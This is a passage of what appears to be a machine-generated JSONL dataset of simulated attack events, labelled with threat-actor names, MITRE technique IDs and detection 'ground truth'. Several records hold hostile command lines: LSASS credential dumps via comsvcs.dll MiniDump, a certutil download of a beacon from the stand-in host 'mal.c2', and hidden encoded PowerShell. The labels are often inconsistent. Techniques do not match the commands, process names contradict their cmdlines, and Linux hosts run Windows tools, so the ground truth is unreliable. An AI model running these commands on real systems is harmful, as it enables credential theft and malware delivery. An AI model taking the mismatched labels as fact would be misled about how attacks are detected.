Log","timestamp":"2025-01-26T23:09:51.000Z","user":{"name":"i-5jjenpqd5ktn","sid":"S-1-5-21-992224030-763073368-6184"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1021.006 using fileless technique.","sub_technique":"Windows Remote Management","tactic":["Credential Access","Lateral Movement"],"technique_id":"T1021.006"},"event_id":"evt_apt41_20260721T001958000Z_0019249","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Base64","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.244.249.17","name":"DB-ORACLE-56PUBBE5DL","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19249APT41T1021.006"},"network":{"domain":"aws.amazon.com","dst_ip":"1.29.204.103","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 677 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-10-08T12:39:11.000Z","user":{"name":"arn:aws:iam::rbn56gzfq3cn","sid":"S-1-5-21-194770847-804358011-9658"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Persistence","Exfiltration","Lateral Movement"],"technique_id":"T1003.001"},"event_id":"evt_scatteredspider_20261226T033906000Z_0019251","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.17.130.51","name":"IAM-ROLE-5DLN00Z032","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19251Scattered SpiderT1003.001"},"network":{"domain":"github.com","dst_ip":"1.59.145.187","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-11-13T08:54:36.000Z","user":{"name":"arn:aws:iam::bxabuz1xdybi","sid":"S-1-5-21-147387991-652041375-8047"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Execution"],"technique_id":"T1570"},"event_id":"evt_mustangpanda_20250606T012846000Z_0019253","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.203.37.133","name":"DB-ORACLE-XB8LOPRSUB","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19253Mustang PandaT1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.113.108.15","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1821 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-06-07T01:33:11.000Z","user":{"name":"i-tghh4gm0mhvb","sid":"S-1-5-21-486820060-322227054-4333"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Initial Access"],"technique_id":"T1531"},"event_id":"evt_fin7_20260829T112001000Z_0019255","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.193.138.84","name":"IAM-ROLE-9AHRF53YZU","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19255FIN7T1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.51.190.72","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3757 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-05-23T21:10:38.000Z","user":{"name":"azuread\\0285ejxu5iwj","sid":"S-1-5-21-328266464-998114112-5765"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Persistence","Credential Access","Discovery"],"technique_id":"T1484.001"},"event_id":"evt_unc4841_20251116T053559000Z_0019257","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.245.33.151","name":"EC2-INST-EZAGSSL2UA","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19257UNC4841T1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.130.247.254","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-10-08T09:05:24.000Z","user":{"name":"arn:aws:iam::2mimk2xy9pcy","sid":"S-1-5-21-812940703-860824497-3358"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Persistence","Exfiltration","Discovery"],"technique_id":"T1021.006"},"event_id":"evt_scatteredspider_20260321T111741000Z_0019259","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.24.223.23","name":"AZURE-VM-7HK5QRTOSH","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19259Scattered SpiderT1021.006"},"network":{"domain":"aws.amazon.com","dst_ip":"1.156.146.41","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1565 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2026-05-17T18:18:46.000Z","user":{"name":"CORP\\3l6eo2l5ymon","sid":"S-1-5-21-480105055-295665686-4963"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Lateral Movement","Privilege Escalation"],"technique_id":"T1570"},"event_id":"evt_mustangpanda_20260818T142745000Z_0019261","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.166.118.21","name":"APP-WEB-OC5A8H9WA2","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19261Mustang PandaT1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.56.29.123","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-04-06T02:34:26.000Z","user":{"name":"azuread\\sk67g59mtvx4","sid":"S-1-5-21-881166187-269877155-8052"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Defense Evasion","Execution"],"technique_id":"T1003.001"},"event_id":"evt_fin7_20250730T045623000Z_0019263","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.69.133.224","name":"IAM-ROLE-NTVGS363DQ","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19263FIN7T1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.71.76.99","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"certutil.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-04-04T01:27:16.000Z","user":{"name":"arn:aws:iam::vhx6otzi2xif","sid":"S-1-5-21-972546723-463285042-5317"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1059.001 using fileless technique.","sub_technique":"PowerShell","tactic":["Privilege Escalation","Defense Evasion"],"technique_id":"T1059.001"},"event_id":"evt_unc4841_20261117T211032000Z_0019265","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.153.186.179","name":"APP-WEB-PQK82Y5Y9M","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19265UNC4841T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.117.100.190","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"bitsadmin.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-12-08T19:42:19.000Z","user":{"name":"CORP\\qnrrpm48lk6k","sid":"S-1-5-21-157585236-918320499-5444"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Discovery","Privilege Escalation","Execution"],"technique_id":"T1546.003"},"event_id":"evt_lapsus_20251207T052626000Z_0019267","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["WMI","Base64","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.255.234.249","name":"DB-ORACLE-ZEO02D6JFH","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19267Lapsus$T1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.122.181.102","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-02-19T08:19:57.000Z","user":{"name":"CORP\\j9ss3yax5kbp","sid":"S-1-5-21-495321535-874284967-1635"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1098.004 using LOLBin technique.","sub_technique":"SSH Authorized Keys","tactic":["Initial Access"],"technique_id":"T1098.004"},"event_id":"evt_mustangpanda_20260326T043022000Z_0019269","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["WMI","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.132.197.84","name":"WIN-FIN-SRV-D2P4YGVJJN","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19269Mustang PandaT1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.52.116.203","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-07-20T06:45:07.000Z","user":{"name":"CORP\\0b6lvxsoc6zw","sid":"S-1-5-21-502246324-749639656-9855"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1098.004 using LOLBin technique.","sub_technique":"SSH Authorized Keys","tactic":["Persistence","Credential Access"],"technique_id":"T1098.004"},"event_id":"evt_mustangpanda_20250616T195237000Z_0019271","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.214.112.206","name":"APP-WEB-O07HVCR60L","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19271Mustang PandaT1098.004"},"network":{"domain":"update.microsoft.com","dst_ip":"1.175.97.97","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-12-23T11:14:07.000Z","user":{"name":"svc_cu08x7ix3cde","sid":"S-1-5-21-923250014-145256026-1603"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1570 using LOLBin technique.","sub_technique":"Lateral Tool Transfer","tactic":["Impact"],"technique_id":"T1570"},"event_id":"evt_volttyphoon_20250418T012331000Z_0019273","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Base64","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.205.238.155","name":"DB-ORACLE-INLOLQLSRT","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19273Volt TyphoonT1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.104.30.40","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-07-18T00:38:25.000Z","user":{"name":"arn:aws:iam::ihnoq2paob1j","sid":"S-1-5-21-307299759-446622364-1524"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Reconnaissance","Exfiltration","Collection"],"technique_id":"T1531"},"event_id":"evt_volttyphoon_20260325T120025000Z_0019275","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.20.14.78","name":"EC2-INST-ZYOEER6S6B","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19275Volt TyphoonT1531"},"network":{"domain":"update.microsoft.com","dst_ip":"1.69.129.152","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2771 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-03-16T15:13:39.000Z","user":{"name":"CORP\\uzs3z61sv7bn","sid":"S-1-5-21-191921292-347316425-6987"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1071.001 using encrypted C2 technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Command and Control","Lateral Movement","Persistence"],"technique_id":"T1071.001"},"event_id":"evt_apt29_20260217T115230000Z_0019277","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["TLS","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.30.249.87","name":"APP-WEB-9BNR3X2ZEF","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19277APT29T1071.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.78.20.76","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2445 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-08-23T12:07:40.000Z","user":{"name":"svc_x8qzsiort610","sid":"S-1-5-21-212738612-791593102-1795"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Credential Access","Persistence"],"technique_id":"T1546.003"},"event_id":"evt_fin7_20250519T212714000Z_0019279","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.204.248.202","name":"WIN-FIN-SRV-69DJ34K4RR","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19279FIN7T1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.140.88.81","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-11-08T13:22:40.000Z","user":{"name":"arn:aws:iam::a7vyo7jnz3vo","sid":"S-1-5-21-652974132-701269039-6127"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Defense Evasion","Discovery","Exfiltration"],"technique_id":"T1003.001"},"event_id":"evt_scatteredspider_20260909T163005000Z_0019281","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.215.232.194","name":"EC2-INST-GKUAAWPR11","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19281Scattered SpiderT1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.38.187.236","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-07-29T10:19:28.000Z","user":{"name":"arn:aws:iam::ljmkgg6c1adk","sid":"S-1-5-21-271928407-445107821-7262"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Command and Control","Impact","Exfiltration"],"technique_id":"T1098.004"},"event_id":"evt_apt41_20250708T172711000Z_0019283","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.30.117.139","name":"WIN-FIN-SRV-HAHWDYT7HN","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19283APT41T1098.004"},"network":{"domain":"update.microsoft.com","dst_ip":"1.32.193.227","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1638 C:\\temp\\lsass.dmp full","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-02-02T04:10:17.000Z","user":{"name":"CORP\\lbgtxe4njwd4","sid":"S-1-5-21-462920258-670769634-3034"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Collection"],"technique_id":"T1546.003"},"event_id":"evt_scatteredspider_20250317T022906000Z_0019285","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["WMI","TLS","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.176.111.239","name":"WIN-FIN-SRV-I6WNVVUJIE","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19285Scattered SpiderT1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.150.63.180","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3746 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-04-11T06:19:23.000Z","user":{"name":"svc_327l461af5um","sid":"S-1-5-21-914883008-790888239-2015"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1021.006 using encrypted C2 technique.","sub_technique":"Windows Remote Management","tactic":["Reconnaissance"],"technique_id":"T1021.006"},"event_id":"evt_lapsus_20251120T165005000Z_0019287","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.65.150.210","name":"WIN-FIN-SRV-U6XFOJR9H6","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19287Lapsus$T1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.66.191.218","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2591 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-10-17T14:15:38.000Z","user":{"name":"i-yqs41zssr002","sid":"S-1-5-21-887122791-926543166-3624"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Lateral Movement","Reconnaissance"],"technique_id":"T1021.006"},"event_id":"evt_volttyphoon_20250802T023621000Z_0019289","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.180.216.163","name":"IAM-ROLE-AOIJGHIBJB","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19289Volt TyphoonT1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.107.16.12","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3462 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-07-08T13:02:42.000Z","user":{"name":"arn:aws:iam::0dk72ztms4cd","sid":"S-1-5-21-809295668-745707524-7836"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1570 using LOLBin technique.","sub_technique":"Lateral Tool Transfer","tactic":["Execution","Reconnaissance"],"technique_id":"T1570"},"event_id":"evt_mustangpanda_20250308T224553000Z_0019291","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["WMI","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.95.186.21","name":"APP-WEB-8LKUD6K288","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19291Mustang PandaT1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.85.51.227","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-01-09T04:35:08.000Z","user":{"name":"CORP\\hzf6lv8bkw13","sid":"S-1-5-21-250853523-323241020-8440"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1531 using cloud-native technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Collection","Privilege Escalation","Credential Access"],"technique_id":"T1531"},"event_id":"evt_mustangpanda_20251117T205446000Z_0019293","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.140.60.123","name":"IAM-ROLE-CQ9OYLZKTI","os":"Windows 11"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"19293Mustang PandaT1531"},"network":{"domain":"cdn-content.com","dst_ip":"1.187.195.203","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2824 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-05-02T01:55:08.000Z","user":{"name":"azuread\\wzxy56v05air","sid":"S-1-5-21-577582300-594854238-2480"}}
